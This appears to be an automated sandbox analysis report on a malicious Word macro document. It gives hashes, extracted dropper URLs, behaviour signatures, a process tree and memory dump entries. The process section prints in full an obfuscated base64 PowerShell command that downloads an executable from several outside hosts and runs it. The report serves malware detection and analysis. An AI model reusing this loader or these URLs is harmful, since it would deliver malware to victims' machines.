Analysis

  • max time kernel
    106s
  • max time network
    75s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    20-05-2022 21:38

General

  • Target

    sample.doc

  • Size

    169KB

  • MD5

    24d32f9816e9402510433dcfb1633ea6

  • SHA1

    400513d99abba8cf40538c454fa5e86a1cacaa4d

  • SHA256

    e9bf95d02c5b2b1e8ac21c595cce59294b8a54da32e71a619cdf2ed03448dc96

  • SHA512

    a245510bc7364891ea97bff2c820756d35cc1fe155c2573e570f28613fb21c0f6ebade9be3cdba640c3d9eba23cb5ed8f053e8603fe6cdef1a8fd3869224ccc2

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://manandvanwaterlooville.co.uk/wp-admin/prX892/

exe.dropper

https://uniral.com/captchasignup/4J579681/

exe.dropper

https://scyzm.net/lkx7/lqoH8S/

exe.dropper

https://amagna.nl/DZ9MzAobu3/37Z/

exe.dropper

https://nilinkeji.com/online/90fb31/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:624
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABWAEEARgBHAEsAaQBqAGMAPQAnAEoAQwBNAEQATQBiAHgAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAEMAdQBSAGkAVABZAFAAUgBPAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQQBXAEUAVgBSAGYAaQBzACAAPQAgACcANAAzADIAJwA7ACQAUQBNAFgAVQBNAHQAcQB4AD0AJwBIAFgAVwBTAFEAcABjAGwAJwA7ACQATABaAEYASQBYAGgAdQB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABBAFcARQBWAFIAZgBpAHMAKwAnAC4AZQB4AGUAJwA7ACQARQBQAFcAWgBWAGMAbAB0AD0AJwBXAEoAQwBZAFIAdQB5AGMAJwA7ACQARABVAEMASwBOAG8AbABsAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAFcAZQBiAEMATABJAGUATgBUADsAJABZAEoARgBQAEkAcwByAHUAPQAnAGgAdAB0AHAAOgAvAC8AbQBhAG4AYQBuAGQAdgBhAG4AdwBhAHQAZQByAGwAbwBvAHYAaQBsAGwAZQAuAGMAbwAuAHUAawAvAHcAcAAtAGEAZABtAGkAbgAvAHAAcgBYADgAOQAyAC8AKgBoAHQAdABwAHMAOgAvAC8AdQBuAGkAcgBhAGwALgBjAG8AbQAvAGMAYQBwAHQAYwBoAGEAcwBpAGcAbgB1AHAALwA0AEoANQA3ADkANgA4ADEALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGMAeQB6AG0ALgBuAGUAdAAvAGwAawB4ADcALwBsAHEAbwBIADgAUwAvACoAaAB0AHQAcABzADoALwAvAGEAbQBhAGcAbgBhAC4AbgBsAC8ARABaADkATQB6AEEAbwBiAHUAMwAvADMANwBaAC8AKgBoAHQAdABwAHMAOgAvAC8AbgBpAGwAaQBuAGsAZQBqAGkALgBjAG8AbQAvAG8AbgBsAGkAbgBlAC8AOQAwAGYAYgAzADEALwAnAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgARwBTAE0AVQBsAGEAdQA9ACcATgBKAFcATwBLAHEAbAB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAE8AQgBCAEkAeQB5AG0AIABpAG4AIAAkAFkASgBGAFAASQBzAHIAdQApAHsAdAByAHkAewAkAEQAVQBDAEsATgBvAGwAbAAuACIAZABvAHcAYABOAGwATwBhAEQAYABGAEkAbABFACIAKAAkAEQATwBCAEIASQB5AHkAbQAsACAAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQATgBRAFIAVgBKAHQAaAB0AD0AJwBHAEoARwBCAFUAbgBzAGUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAFoARgBJAFgAaAB1AHYAKQAuACIATABgAGUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIANAAwADUANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAEUAYABBAFQARQAiACgAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQAUwBWAEwAWgBBAHYAeQBrAD0AJwBJAFoATQBNAFYAeQBrAGwAJwA7AGIAcgBlAGEAawA7ACQAQwBXAFoARgBBAHgAdABsAD0AJwBMAE8ASQBXAEcAbABzAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBSAFEAWgBLAGoAcgBsAD0AJwBUAFcASwBEAEoAYwBtAGIAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1828

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/624-69-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-61-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/624-54-0x0000000072E21000-0x0000000072E24000-memory.dmp
      Filesize

      12KB

    • memory/624-58-0x000000007188D000-0x0000000071898000-memory.dmp
      Filesize

      44KB

    • memory/624-59-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-60-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-71-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-62-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-63-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-64-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-65-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-66-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-72-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-68-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-70-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-57-0x00000000769D1000-0x00000000769D3000-memory.dmp
      Filesize

      8KB

    • memory/624-55-0x00000000708A1000-0x00000000708A3000-memory.dmp
      Filesize

      8KB

    • memory/624-67-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-73-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-74-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-75-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-76-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-77-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-78-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-79-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-80-0x0000000000475000-0x0000000000479000-memory.dmp
      Filesize

      16KB

    • memory/624-87-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1508-85-0x0000000000000000-mapping.dmp
    • memory/1828-83-0x0000000002754000-0x0000000002757000-memory.dmp
      Filesize

      12KB

    • memory/1828-82-0x000007FEF3E10000-0x000007FEF496D000-memory.dmp
      Filesize

      11.4MB

    • memory/1828-84-0x000000000275B000-0x000000000277A000-memory.dmp
      Filesize

      124KB

    • memory/1828-81-0x000007FEFC331000-0x000007FEFC333000-memory.dmp
      Filesize

      8KB